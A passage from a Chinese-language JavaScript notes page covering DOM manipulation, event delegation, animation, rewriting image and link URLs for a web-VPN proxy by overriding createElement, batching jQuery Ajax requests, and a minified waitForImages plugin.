class=\"codehilite\"><pre><span></span><code>[].forEach.call(myElements, doSomethingWithEachElement)\n</code></pre></div>\n\n<p><code>myElement.children</code>,<code>myElement.firstElementChild</code> 只会有tag，而<code>myElement.childNodes</code>,<code>myElement.firstChild</code>会有文本节点</p>\n<p>如：<code>myElement.firstChild.nodeType === 3 // this would be a text node</code></p>\n<h3 id=\"class\">修改class和属性<a class=\"headerlink\" href=\"#class\" title=\"Permanent link\">&para;</a></h3>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">myElement</span><span class=\"p\">.</span><span class=\"n\">classList</span><span class=\"p\">.</span><span class=\"n\">add</span><span class=\"p\">(&#39;</span><span class=\"n\">foo</span><span class=\"p\">&#39;)</span>\n<span class=\"n\">myElement</span><span class=\"p\">.</span><span class=\"n\">classList</span><span class=\"p\">.</span><span class=\"n\">remove</span><span class=\"p\">(&#39;</span><span class=\"n\">bar</span><span class=\"p\">&#39;)</span>\n<span class=\"n\">myElement</span><span class=\"p\">.</span><span class=\"n\">classList</span><span class=\"p\">.</span><span class=\"n\">toggle</span><span class=\"p\">(&#39;</span><span class=\"n\">baz</span><span class=\"p\">&#39;)</span>\n\n<span class=\"c1\">// Set multiple properties using Object.assign()</span>\n<span class=\"n\">Object</span><span class=\"p\">.</span><span class=\"k\">assign</span><span class=\"p\">(</span><span class=\"n\">myElement</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">  </span><span class=\"nl\">value:</span><span class=\"w\"> </span><span class=\"p\">&#39;</span><span class=\"n\">foo</span><span class=\"p\">&#39;,</span>\n<span class=\"w\">  </span><span class=\"nl\">id:</span><span class=\"w\"> </span><span class=\"p\">&#39;</span><span class=\"n\">bar</span><span class=\"p\">&#39;</span>\n<span class=\"p\">})</span>\n\n<span class=\"c1\">// Remove an attribute</span>\n<span class=\"n\">myElement</span><span class=\"p\">.</span><span class=\"n\">value</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">null</span>\n</code></pre></div>\n\n<p>除了直接赋值，还有这些方法<code>.getAttibute(), .setAttribute() and .removeAttribute()</code> 但他们会直接修改HTML 导致重绘 只有没有对应属性的时候如<code>colspan</code>才应该这么干</p>\n<h3 id=\"css\">修改CSS<a class=\"headerlink\" href=\"#css\" title=\"Permanent link\">&para;</a></h3>\n<div class=\"codehilite\"><pre><span></span><code>myElement.style.marginLeft = &#39;2em&#39;\n\n//获得计算出来的CSS属性\ngetComputedStyle(myElement).getPropertyValue(&#39;margin-left&#39;)\n</code></pre></div>\n\n<h3 id=\"dom\">修改DOM<a class=\"headerlink\" href=\"#dom\" title=\"Permanent link\">&para;</a></h3>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">const</span><span class=\"w\"> </span><span class=\"n\">myNewElement</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">document</span><span class=\"o\">.</span><span class=\"n\">createElement</span><span class=\"p\">(</span><span class=\"s1\">&#39;div&#39;</span><span class=\"p\">)</span>\n<span class=\"k\">const</span><span class=\"w\"> </span><span class=\"n\">myNewTextNode</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">document</span><span class=\"o\">.</span><span class=\"n\">createTextNode</span><span class=\"p\">(</span><span class=\"s1\">&#39;some text&#39;</span><span class=\"p\">)</span>\n\n<span class=\"o\">//</span><span class=\"w\"> </span><span class=\"n\">Append</span><span class=\"w\"> </span><span class=\"n\">element1</span><span class=\"w\"> </span><span class=\"k\">as</span><span class=\"w\"> </span><span class=\"n\">the</span><span class=\"w\"> </span><span class=\"n\">last</span><span class=\"w\"> </span><span class=\"n\">child</span><span class=\"w\"> </span><span class=\"n\">of</span><span class=\"w\"> </span><span class=\"n\">element2</span>\n<span class=\"n\">element1</span><span class=\"o\">.</span><span class=\"n\">appendChild</span><span class=\"p\">(</span><span class=\"n\">element2</span><span class=\"p\">)</span>\n\n<span class=\"o\">//</span><span class=\"w\"> </span><span class=\"n\">Insert</span><span class=\"w\"> </span><span class=\"n\">element2</span><span class=\"w\"> </span><span class=\"k\">as</span><span class=\"w\"> </span><span class=\"n\">child</span><span class=\"w\"> </span><span class=\"n\">of</span><span class=\"w\"> </span><span class=\"n\">element</span><span class=\"w\"> </span><span class=\"mi\">1</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">right</span><span class=\"w\"> </span><span class=\"n\">before</span><span class=\"w\"> </span><span class=\"n\">element3</span>\n<span class=\"n\">element1</span><span class=\"o\">.</span><span class=\"n\">insertBefore</span><span class=\"p\">(</span><span class=\"n\">element2</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">element3</span><span class=\"p\">)</span>\n\n<span class=\"o\">//</span><span class=\"w\"> </span><span class=\"n\">Create</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"n\">clone</span>\n<span class=\"k\">const</span><span class=\"w\"> </span><span class=\"n\">myElementClone</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">myElement</span><span class=\"o\">.</span><span class=\"n\">cloneNode</span><span class=\"p\">()</span>\n<span class=\"n\">myParentElement</span><span class=\"o\">.</span><span class=\"n\">appendChild</span><span class=\"p\">(</span><span class=\"n\">myElementClone</span><span class=\"p\">)</span>\n\n<span class=\"o\">//</span><span class=\"w\"> </span><span class=\"err\">删除一个节点</span>\n<span class=\"n\">myElement</span><span class=\"o\">.</span><span class=\"n\">parentNode</span><span class=\"o\">.</span><span class=\"n\">removeChild</span><span class=\"p\">(</span><span class=\"n\">myElement</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<p>当需要把多个元素appendChild到一个已经在页面上的元素时，每次append都会重绘 这时候就应该用<code>DocumentFragment</code></p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">const</span><span class=\"w\"> </span><span class=\"n\">fragment</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">document</span><span class=\"o\">.</span><span class=\"n\">createDocumentFragment</span><span class=\"p\">()</span>\n\n<span class=\"n\">fragment</span><span class=\"o\">.</span><span class=\"n\">appendChild</span><span class=\"p\">(</span><span class=\"n\">text</span><span class=\"p\">)</span>\n<span class=\"n\">fragment</span><span class=\"o\">.</span><span class=\"n\">appendChild</span><span class=\"p\">(</span><span class=\"n\">hr</span><span class=\"p\">)</span>\n<span class=\"n\">myElement</span><span class=\"o\">.</span><span class=\"n\">appendChild</span><span class=\"p\">(</span><span class=\"n\">fragment</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<h3 id=\"_4\">监听事件<a class=\"headerlink\" href=\"#_4\" title=\"Permanent link\">&para;</a></h3>\n<p>事件event里面有<code>target</code>指向谁触发的事件</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">const</span><span class=\"w\"> </span><span class=\"n\">myForm</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">document</span><span class=\"o\">.</span><span class=\"n\">forms</span><span class=\"p\">[</span><span class=\"mi\">0</span><span class=\"p\">]</span>\n<span class=\"k\">const</span><span class=\"w\"> </span><span class=\"n\">myInputElements</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">myForm</span><span class=\"o\">.</span><span class=\"n\">querySelectorAll</span><span class=\"p\">(</span><span class=\"s1\">&#39;input&#39;</span><span class=\"p\">)</span>\n\n<span class=\"nb nb-Type\">Array</span><span class=\"o\">.</span><span class=\"n\">from</span><span class=\"p\">(</span><span class=\"n\">myInputElements</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">forEach</span><span class=\"p\">(</span><span class=\"n\">el</span><span class=\"w\"> </span><span class=\"o\">=&gt;</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">  </span><span class=\"n\">el</span><span class=\"o\">.</span><span class=\"n\">addEventListener</span><span class=\"p\">(</span><span class=\"s1\">&#39;change&#39;</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">function</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">event</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"n\">console</span><span class=\"o\">.</span><span class=\"n\">log</span><span class=\"p\">(</span><span class=\"n\">event</span><span class=\"o\">.</span><span class=\"n\">target</span><span class=\"o\">.</span><span class=\"n\">value</span><span class=\"p\">)</span>\n<span class=\"w\">  </span><span class=\"p\">})</span>\n<span class=\"p\">})</span>\n</code></pre></div>\n\n<h3 id=\"_5\">阻止默认行为<a class=\"headerlink\" href=\"#_5\" title=\"Permanent link\">&para;</a></h3>\n<p><code>.preventDefault()</code></p>\n<p><code>.stopPropagation()</code> 子节点click不会再冒泡触发父节点onclick</p>\n<h2 id=\"event-delegation\">Event delegation<a class=\"headerlink\" href=\"#event-delegation\" title=\"Permanent link\">&para;</a></h2>\n<p>对表单每个input修改时执行，直接对form添加change的事件 不需要对每个input添加，这样也自动支持动态新添加的input</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">myForm</span><span class=\"o\">.</span><span class=\"n\">addEventListener</span><span class=\"p\">(</span><span class=\"s1\">&#39;change&#39;</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">function</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">event</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">  </span><span class=\"k\">const</span><span class=\"w\"> </span><span class=\"n\">target</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">event</span><span class=\"o\">.</span><span class=\"n\">target</span>\n<span class=\"w\">  </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">target</span><span class=\"o\">.</span><span class=\"n\">matches</span><span class=\"p\">(</span><span class=\"s1\">&#39;input&#39;</span><span class=\"p\">))</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"n\">console</span><span class=\"o\">.</span><span class=\"n\">log</span><span class=\"p\">(</span><span class=\"n\">target</span><span class=\"o\">.</span><span class=\"n\">value</span><span class=\"p\">)</span>\n<span class=\"w\">  </span><span class=\"p\">}</span>\n<span class=\"p\">})</span>\n</code></pre></div>\n\n<h3 id=\"_6\">动画<a class=\"headerlink\" href=\"#_6\" title=\"Permanent link\">&para;</a></h3>\n<p>需要高性能时 不要用setTimeout 而使用<code>requestAnimationFrame</code></p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">const</span><span class=\"w\"> </span><span class=\"n\">start</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">window</span><span class=\"o\">.</span><span class=\"n\">performance</span><span class=\"o\">.</span><span class=\"n\">now</span><span class=\"p\">()</span>\n<span class=\"k\">const</span><span class=\"w\"> </span><span class=\"n\">duration</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"mi\">2000</span>\n\n<span class=\"n\">window</span><span class=\"o\">.</span><span class=\"n\">requestAnimationFrame</span><span class=\"p\">(</span><span class=\"n\">function</span><span class=\"w\"> </span><span class=\"n\">fadeIn</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">now</span><span class=\"p\">))</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">  </span><span class=\"k\">const</span><span class=\"w\"> </span><span class=\"n\">progress</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">now</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"w\"> </span><span class=\"n\">start</span>\n<span class=\"w\">  </span><span class=\"n\">myElement</span><span class=\"o\">.</span><span class=\"n\">style</span><span class=\"o\">.</span><span class=\"n\">opacity</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">progress</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"w\"> </span><span class=\"n\">duration</span>\n\n<span class=\"w\">  </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">progress</span><span class=\"w\"> </span><span class=\"o\">&lt;</span><span class=\"w\"> </span><span class=\"n\">duration</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"n\">window</span><span class=\"o\">.</span><span class=\"n\">requestAnimationFrame</span><span class=\"p\">(</span><span class=\"n\">fadeIn</span><span class=\"p\">)</span>\n<span class=\"w\">  </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"src\">劫持动态图片加载 修改src属性<a class=\"headerlink\" href=\"#src\" title=\"Permanent link\">&para;</a></h2>\n<p>React网站应用底层用的是createElement方法（svg等对象用createElementNS），可以通过劫持document所属类原型的createElement方法来实现图片路径重定向</p>\n<p>但是没有考虑使用innerHTML直接赋值的操作，如果目标站点确实用了这种技术，大不了再加个定时器遍历即可</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">dc</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">HTMLDocument</span><span class=\"o\">.</span><span class=\"n\">prototype</span><span class=\"o\">.</span><span class=\"n\">createElement</span><span class=\"p\">;</span>\n<span class=\"n\">HTMLDocument</span><span class=\"o\">.</span><span class=\"n\">prototype</span><span class=\"o\">.</span><span class=\"n\">createElement</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">function</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">tag</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">options</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">  </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">r</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">dc</span><span class=\"o\">.</span><span class=\"n\">call</span><span class=\"p\">(</span><span class=\"n\">document</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">tag</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">options</span><span class=\"p\">);</span>\n<span class=\"w\">  </span><span class=\"k\">if</span><span class=\"p\">(</span><span class=\"n\">tag</span><span class=\"o\">==</span><span class=\"s2\">&quot;img&quot;</span><span class=\"o\">||</span><span class=\"n\">tag</span><span class=\"o\">==</span><span class=\"s1\">&#39;a&#39;</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">      </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">x</span><span class=\"o\">=</span><span class=\"n\">r</span><span class=\"o\">.</span><span class=\"n\">setAttribute</span><span class=\"p\">;</span>\n<span class=\"w\">      </span><span class=\"n\">r</span><span class=\"o\">.</span><span class=\"n\">setAttribute</span><span class=\"o\">=</span><span class=\"n\">function</span><span class=\"p\">(</span><span class=\"n\">a</span><span class=\"p\">,</span><span class=\"n\">b</span><span class=\"p\">){</span>\n<span class=\"w\">          </span><span class=\"k\">if</span><span class=\"p\">(</span><span class=\"n\">a</span><span class=\"o\">==</span><span class=\"s2\">&quot;src&quot;</span><span class=\"o\">||</span><span class=\"n\">a</span><span class=\"o\">==</span><span class=\"s2\">&quot;href&quot;</span><span class=\"p\">){</span>\n<span class=\"w\">              </span><span class=\"k\">if</span><span class=\"p\">(</span><span class=\"n\">b</span><span class=\"p\">[</span><span class=\"mi\">0</span><span class=\"p\">]</span><span class=\"o\">==</span><span class=\"s2\">&quot;/&quot;</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"o\">=</span><span class=\"n\">b</span><span class=\"o\">.</span><span class=\"n\">replace</span><span class=\"p\">(</span><span class=\"s2\">&quot;/&quot;</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">window</span><span class=\"o\">.</span><span class=\"n\">ROOT</span><span class=\"p\">);</span>\n<span class=\"w\">              </span><span class=\"k\">else</span><span class=\"p\">{</span>\n<span class=\"w\">                  </span><span class=\"n\">b</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"o\">.</span><span class=\"n\">replace</span><span class=\"p\">(</span><span class=\"s2\">&quot;http://&quot;</span><span class=\"p\">,</span><span class=\"s2\">&quot;/web/0/http/0/&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">                  </span><span class=\"n\">b</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"o\">.</span><span class=\"n\">replace</span><span class=\"p\">(</span><span class=\"s2\">&quot;https://&quot;</span><span class=\"p\">,</span><span class=\"s2\">&quot;/web/0/https/0/&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">              </span><span class=\"p\">}</span>\n<span class=\"w\">          </span><span class=\"p\">}</span>\n<span class=\"w\">          </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"n\">x</span><span class=\"o\">.</span><span class=\"n\">call</span><span class=\"p\">(</span><span class=\"n\">r</span><span class=\"p\">,</span><span class=\"n\">a</span><span class=\"p\">,</span><span class=\"n\">b</span><span class=\"p\">);</span>\n<span class=\"w\">      </span><span class=\"p\">}</span>\n<span class=\"w\">  </span><span class=\"p\">}</span>\n<span class=\"w\">  </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"n\">r</span><span class=\"p\">;</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<p>上述代码会将/开头的src和href属性的第一个/替换为window.ROOT</p>\n<h2 id=\"ajaxfetch\">劫持Ajax和fetch<a class=\"headerlink\" href=\"#ajaxfetch\" title=\"Permanent link\">&para;</a></h2>\n<p>需要将fetch使用xhr实现，然后Hook Ajax即可</p>\n<p>参见完整的RVPN劫持代码 <a href=\"../code/jshook_preload.js\">jshook_preload.js</a></p>\n<p>背景知识参见：RVPN网页版介绍 https://www.cc98.org/topic/4816921/</p>\n<hr />\n<h2 id=\"ajax\">多个Ajax请求等待全部完成<a class=\"headerlink\" href=\"#ajax\" title=\"Permanent link\">&para;</a></h2>\n<p>方法就是把jQuery的ajax函数返回值放到数组里面，然后用<code>$.when.apply(null, 数组).done</code>即可</p>\n<p>实例：CC98发米机</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">function</span><span class=\"w\"> </span><span class=\"n\">apiget</span><span class=\"p\">(</span><span class=\"n\">url</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">callback</span><span class=\"p\">){</span>\n<span class=\"w\">    </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"o\">$.</span><span class=\"n\">get</span><span class=\"p\">(</span><span class=\"s2\">&quot;/98api_cache/&quot;</span><span class=\"o\">+</span><span class=\"n\">url</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"nb nb-Type\">null</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">callback</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"s2\">&quot;json&quot;</span><span class=\"p\">);</span>\n<span class=\"p\">}</span>\n\n<span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">async_request</span><span class=\"o\">=</span><span class=\"p\">[</span><span class=\"n\">check_permission</span><span class=\"p\">(</span><span class=\"n\">topic</span><span class=\"o\">.</span><span class=\"n\">boardId</span><span class=\"p\">)];</span>\n<span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"p\">;</span>\n<span class=\"k\">for</span><span class=\"p\">(</span><span class=\"n\">i</span><span class=\"o\">=</span><span class=\"n\">from_</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"o\">&gt;=</span><span class=\"n\">from_</span><span class=\"o\">-</span><span class=\"mi\">80</span><span class=\"p\">;</span><span class=\"n\">i</span><span class=\"o\">-=</span><span class=\"mi\">20</span><span class=\"p\">){</span>\n<span class=\"w\">    </span><span class=\"k\">if</span><span class=\"p\">(</span><span class=\"n\">i</span><span class=\"o\">&lt;</span><span class=\"mi\">0</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"k\">break</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"n\">async_request</span><span class=\"o\">.</span><span class=\"n\">push</span><span class=\"p\">(</span><span class=\"n\">apiget</span><span class=\"p\">(</span><span class=\"s2\">&quot;Topic/&quot;</span><span class=\"o\">+</span><span class=\"n\">topicid</span><span class=\"o\">+</span><span class=\"s2\">&quot;/post?from=&quot;</span><span class=\"o\">+</span><span class=\"n\">i</span><span class=\"o\">+</span><span class=\"s2\">&quot;&amp;size=20&quot;</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">function</span><span class=\"p\">(</span><span class=\"n\">data</span><span class=\"p\">){</span>\n<span class=\"w\">        </span><span class=\"n\">lastfloors</span><span class=\"o\">.</span><span class=\"n\">push</span><span class=\"o\">.</span><span class=\"n\">apply</span><span class=\"p\">(</span><span class=\"n\">lastfloors</span><span class=\"p\">,</span><span class=\"n\">data</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"p\">}))</span>\n<span class=\"p\">}</span>\n\n<span class=\"o\">$.</span><span class=\"n\">when</span><span class=\"o\">.</span><span class=\"n\">apply</span><span class=\"p\">(</span><span class=\"nb nb-Type\">null</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">async_request</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">done</span><span class=\"p\">(</span><span class=\"w\"> </span><span class=\"n\">function</span><span class=\"p\">(){</span><span class=\"w\"> </span><span class=\"n\">alert</span><span class=\"p\">(</span><span class=\"s2\">&quot;all done&quot;</span><span class=\"p\">)}</span><span class=\"w\"> </span><span class=\"p\">)</span>\n</code></pre></div>\n\n<h2 id=\"_7\">等待图片加载完成后 缩小过大的图片<a class=\"headerlink\" href=\"#_7\" title=\"Permanent link\">&para;</a></h2>\n<p>首先等待DOM节点就绪，找到所有的img，等待图片加载完成后判断图片高度是否大于窗口高度的80%，如果太长就设置<code>max-width:80vh</code>，可点击展开，再次点击则折叠并跳至图片开始的地方</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"o\">!</span><span class=\"n\">function</span><span class=\"p\">(</span><span class=\"n\">a</span><span class=\"p\">){</span><span class=\"s2\">&quot;function&quot;</span><span class=\"o\">==</span><span class=\"nb\">typeof</span><span class=\"w\"> </span><span class=\"n\">define</span><span class=\"o\">&amp;&amp;</span><span class=\"n\">define</span><span class=\"o\">.</span><span class=\"n\">amd</span><span class=\"err\">?</span><span class=\"n\">define</span><span class=\"p\">([</span><span class=\"s2\">&quot;jquery&quot;</span><span class=\"p\">],</span><span class=\"n\">a</span><span class=\"p\">):</span><span class=\"s2\">&quot;object&quot;</span><span class=\"o\">==</span><span class=\"nb\">typeof</span><span class=\"w\"> </span><span class=\"n\">exports</span><span class=\"err\">?</span><span class=\"n\">module</span><span class=\"o\">.</span><span class=\"n\">exports</span><span class=\"o\">=</span><span class=\"n\">a</span><span class=\"p\">(</span><span class=\"n\">require</span><span class=\"p\">(</span><span class=\"s2\">&quot;jquery&quot;</span><span class=\"p\">)):</span><span class=\"n\">a</span><span class=\"p\">(</span><span class=\"n\">jQuery</span><span class=\"p\">)}(</span><span class=\"n\">function</span><span class=\"p\">(</span><span class=\"n\">a</span><span class=\"p\">){</span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"o\">=</span><span class=\"s2\">&quot;waitForImages&quot;</span><span class=\"p\">,</span><span class=\"n\">c</span><span class=\"o\">=</span><span class=\"n\">function</span><span class=\"p\">(</span><span class=\"n\">a</span><span class=\"p\">){</span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"o\">.</span><span class=\"n\">srcset</span><span class=\"o\">&amp;&amp;</span><span class=\"n\">a</span><span class=\"o\">.</span><span class=\"n\">sizes</span><span class=\"p\">}(</span><span class=\"n\">new</span><span class=\"w\"> </span><span class=\"n\">Image</span><span class=\"p\">);</span><span class=\"n\">a</span><span class=\"o\">.</span><span class=\"n\">waitForImages</span><span class=\"o\">=</span><span class=\"p\">{</span><span class=\"n\">hasImageProperties</span><span class=\"p\">:[</span><span class=\"s2\">&quot;backgroundImage&quot;</span><span class=\"p\">,</span><span class=\"s2\">&quot;listStyleImage&quot;</span><span class=\"p\">,</span><span class=\"s2\">&quot;borderImage&quot;</span><span class=\"p\">,</span><span class=\"s2\">&quot;borderCornerImage&quot;</span><span class=\"p\">,</span><span class=\"s2\">&quot;cursor&quot;</span><span class=\"p\">],</span><span class=\"n\">hasImageAttributes</span><span class=\"p\">:[</span><span class=\"s2\">&quot;srcset&quot;</span><span class=\"p\">]},</span><span class=\"n\">a</span><span class=\"o\">.</span><span class=\"n\">expr</span><span class=\"o\">.</span><span class=\"n\">pseudos</span><span class=\"p\">[</span><span class=\"s2\">&quot;has-src&quot;</span><span class=\"p\">]</span><span class=\"o\">=</span><span class=\"n\">function</span><span class=\"p\">(</span><span class=\"n\">b</span><span class=\"p\">){</span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"p\">(</span><span class=\"n\">b</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"k\">is</span><span class=\"p\">(</span><span class=\"s1\">&#39;img[src][src!=&quot;&quot;]&#39;</span><span class=\"p\">)},</span><span class=\"n\">a</span><span class=\"o\">.</span><span class=\"n\">expr</span><span class=\"o\">.</span><span class=\"n\">pseudos</span><span class=\"o\">.</span><span class=\"n\">uncached</span><span class=\"o\">=</span><span class=\"n\">function</span><span class=\"p\">(</span><span class=\"n\">b</span><span class=\"p\">){</span><span class=\"k\">return</span><span class=\"o\">!!</span><span class=\"n\">a</span><span class=\"p\">(</span><span class=\"n\">b</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"k\">is</span><span class=\"p\">(</span><span class=\"s2\">&quot;:has-src&quot;</span><span class=\"p\">)</span><span class=\"o\">&amp;&amp;!</span><span class=\"n\">b</span><span class=\"o\">.</span><span class=\"n\">complete</span><span class=\"p\">},</span><span class=\"n\">a</span><span class=\"o\">.</span><span class=\"n\">fn</span><span class=\"o\">.</span><span class=\"n\">waitForImages</span><span class=\"o\">=</span><span class=\"n\">function</span><span class=\"p\">(){</span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">d</span><span class=\"p\">,</span><span class=\"n\">e</span><span class=\"p\">,</span><span class=\"n\">f</span><span class=\"p\">,</span><span class=\"n\">g</span><span class=\"o\">=</span><span class=\"mi\">0</span><span class=\"p\">,</span><span class=\"n\">h</span><span class=\"o\">=</span><span class=\"mi\">0</span><span class=\"p\">,</span><span class=\"n\">i</span><span class=\"o\">=</span><span class=\"n\">a</span><span class=\"o\">.</span><span class=\"n\">Deferred</span><span class=\"p\">(),</span><span class=\"n\">j</span><span class=\"o\">=</span><span class=\"n\">this</span><span class=\"p\">,</span><span class=\"n\">k</span><span class=\"o\">=</span><span class=\"p\">[],</span><span class=\"n\">l</span><span class=\"o\">=</span><span class=\"n\">a</span><span class=\"o\">.</span><span class=\"n\">waitForImages</span><span class=\"o\">.</span><span class=\"n\">hasImageProperties</span><span class=\"o\">||</span><span class=\"p\">[],</span><span class=\"n\">m</span><span class=\"o\">=</span><span class=\"n\">a</span><span class=\"o\">.</span><span class=\"n\">waitForImages</span><span class=\"o\">.</span><span class=\"n\">hasImageAttributes</span><span class=\"o\">||</span><span class=\"p\">[],</span><span class=\"n\">n</span><span class=\"o\">=/</span><span class=\"n\">url</span>\\<span class=\"p\">(</span>\\<span class=\"n\">s</span><span class=\"o\">*</span><span class=\"p\">([</span><span class=\"s1\">&#39;&quot;]?)(.*?)</span><span class=\"se\">\\1</span><span class=\"s1\">\\s*\\)/g;if(a.isPlainObject(arguments[0])?(f=arguments[0].waitForAll,e=arguments[0].each,d=arguments[0].finished):1===arguments.length&amp;&amp;&quot;boolean&quot;===a.type(arguments[0])?f=arguments[0]:(d=arguments[0],e=arguments[1],f=arguments[2]),d=d||a.noop,e=e||a.noop,f=!!f,!a.isFunction(d)||!a.isFunction(e))throw new TypeError(&quot;An invalid callback was supplied.&quot;);return this.each(function(){var b=a(this);f?b.find(&quot;*&quot;).addBack().each(function(){var b=a(this);b.is(&quot;img:has-src&quot;)&amp;&amp;!b.is(&quot;[srcset]&quot;)&amp;&amp;k.push({src:b.attr(&quot;src&quot;),element:b[0]}),a.each(l,function(a,c){var d,e=b.css(c);if(!e)return!0;for(;d=n.exec(e);)k.push({src:d[2],element:b[0]})}),a.each(m,function(a,c){var d=b.attr(c);return!d||void k.push({src:b.attr(&quot;src&quot;),srcset:b.attr(&quot;srcset&quot;),element:b[0]})})}):b.find(&quot;img:has-src&quot;).each(function(){k.push({src:this.src,element:this})})}),g=k.length,h=0,0===g&amp;&amp;(d.call(j),i.resolveWith(j)),a.each(k,function(f,k){var l=new Image,m=&quot;load.&quot;+b+&quot; error.&quot;+b;a(l).one(m,function b(c){var f=[h,g,&quot;load&quot;==c.type];if(h++,e.apply(k.element,f),i.notifyWith(k.element,f),a(this).off(m,b),h==g)return d.call(j[0]),i.resolveWith(j[0]),!1}),c&amp;&amp;k.srcset&amp;&amp;(l.srcset=k.srcset,l.sizes=k.sizes),l.src=k.src}),i.promise()}});</span>\n\n<span class=\"o\">$</span><span class=\"p\">(</span><span class=\"n\">function</span><span class=\"p\">(){</span><span class=\"o\">$</span><span class=\"p\">(</span><span class=\"s2\">&quot;img&quot;</span><span class=\"p\">)</span><span 